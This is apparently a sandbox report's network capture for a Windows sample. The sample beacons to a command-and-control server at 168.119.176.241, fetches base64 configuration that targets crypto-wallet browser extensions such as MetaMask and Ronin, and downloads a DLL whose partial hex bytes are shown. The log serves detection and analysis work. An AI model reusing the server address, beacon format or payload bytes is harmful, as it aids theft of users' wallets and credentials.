0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 Data Ascii: ------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="token"12fecd2f030f00a6278737182799d7cf------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="build_id"625d7a8e379321656ff1b88ebf9542b7------CGDHIEGCFHCGDGCAECBGCont
2024-08-04 00:21:08 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-04 00:21:08 UTC	5685	IN	Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	168.119.176.241	443	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:09 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFHJEGDAFHIJKECFBKJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:09 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 66 65 63 64 32 66 30 33 30 66 30 30 61 36 32 37 38 37 33 37 31 38 32 37 39 39 64 37 63 66 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 32 35 64 37 61 38 65 33 37 39 33 32 31 36 35 36 66 66 31 62 38 38 65 62 66 39 35 34 32 62 37 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 Data Ascii: ------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="token"12fecd2f030f00a6278737182799d7cf------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="build_id"625d7a8e379321656ff1b88ebf9542b7------EBFHJEGDAFHIJKECFBKJCont
2024-08-04 00:21:10 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-04 00:21:10 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	168.119.176.241	443	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:10 UTC	327	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFBFBGDBKJJKFIEHJDB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Content-Length: 7013 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:10 UTC	7013	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 66 65 63 64 32 66 30 33 30 66 30 30 61 36 32 37 38 37 33 37 31 38 32 37 39 39 64 37 63 66 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 32 35 64 37 61 38 65 33 37 39 33 32 31 36 35 36 66 66 31 62 38 38 65 62 66 39 35 34 32 62 37 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 Data Ascii: ------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="token"12fecd2f030f00a6278737182799d7cf------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="build_id"625d7a8e379321656ff1b88ebf9542b7------DBFBFBGDBKJJKFIEHJDBCont
2024-08-04 00:21:11 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-04 00:21:11 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	168.119.176.241	443	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:12 UTC	242	OUT	GET /sqls.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:12 UTC	261	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:12 GMT Content-Type: application/octet-stream Content-Length: 2459136 Connection: close Last-Modified: Sunday, 04-Aug-2024 00:21:12 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-08-04 00:21:12 UTC	16123	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-08-04 00:21:12 UTC	16384	IN	Data Raw: 00 e9 9c 25 1b 00 e9 3a f0 19 00 e9 9e cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: %:X~e!*FW\|>\|L1146
2024-08-04 00:21:12 UTC	16384	IN	Data Raw: c3 0f 1f 40 00 8a 10 3a 11 75 1a 84 d2 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 56 8b f8 Data Ascii: @:utP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhSV
2024-08-04 00:21:12 UTC	16384	IN	Data Raw: 77 12 8d 1c 9b 46 8d 5b e8 8d 1c 59 0f be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 89 74 24 Data Ascii: wF[Y0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5t$
2024-08-04 00:21:12 UTC	16384	IN	Data Raw: 20 89 44 24 24 3b c2 7f 0c 7c 18 8b 44 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e 7f 0a 8b Data Ascii: D$$;\|D$;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|
2024-08-04 00:21:12 UTC	16384	IN	Data Raw: 10 be 07 00 00 00 eb 32 c7 40 08 01 00 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: 2@3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-08-04 00:21:12 UTC	16384	IN	Data Raw: c4 04 85 f6 74 64 8b 7c 24 14 e9 68 fe ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: td\|$hT$L$$l$ GT$GL$L$T$_^][_^]3[
2024-08-04 00:21:12 UTC	16384	IN	Data Raw: c4 18 5f 5e 5d 5b 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 c3 cc cc Data Ascii: _^][YVt$W\|$FVBhtw7t7Vg_^jjjh,g!t$
2024-08-04 00:21:12 UTC	16384	IN	Data Raw: 2c ff 46 2c 5e c3 8b 4c 24 0c 33 d2 8b 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 d3 e2 8b Data Ascii: ,F,^L$3qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$
2024-08-04 00:21:12 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49738	168.119.176.241	443	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:15 UTC	327	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDBFBFCBFBKECAAKJKF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:15 UTC	4677	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 66 65 63 64 32 66 30 33 30 66 30 30 61 36 32 37 38 37 33 37 31 38 32 37 39 39 64 37 63 66 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 32 35 64 37 61 38 65 33 37 39 33 32 31 36 35 36 66 66 31 62 38 38 65 62 66 39 35 34 32 62 37 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 Data Ascii: ------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="token"12fecd2f030f00a6278737182799d7cf------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="build_id"625d7a8e379321656ff1b88ebf9542b7------DGDBFBFCBFBKECAAKJKFCont
2024-08-04 00:21:15 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-04 00:21:15 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49739	168.119.176.241	443	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:16 UTC	327	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCFHDAKECFIDGDGDBKJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Content-Length: 1529 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:16 UTC	1529	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 66 65 63 64 32 66 30 33 30 66 30 30 61 36 32 37 38 37 33 37 31 38 32 37 39 39 64 37 63 66 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 32 35 64 37 61 38 65 33 37 39 33 32 31 36 35 36 66 66 31 62 38 38 65 62 66 39 35 34 32 62 37 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 Data Ascii: ------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="token"12fecd2f030f00a6278737182799d7cf------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="build_id"625d7a8e379321656ff1b88ebf9542b7------EGCFHDAKECFIDGDGDBKJCont
2024-08-04 00:21:17 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-04 00:21:17 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49740	168.119.176.241	443	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:17 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFHJKEBAAECBFHIECGI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:17 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 66 65 63 64 32 66 30 33 30 66 30 30 61 36 32 37 38 37 33 37 31 38 32 37 39 39 64 37 63 66 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 32 35 64 37 61 38 65 33 37 39 33 32 31 36 35 36 66 66 31 62 38 38 65 62 66 39 35 34 32 62 37 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 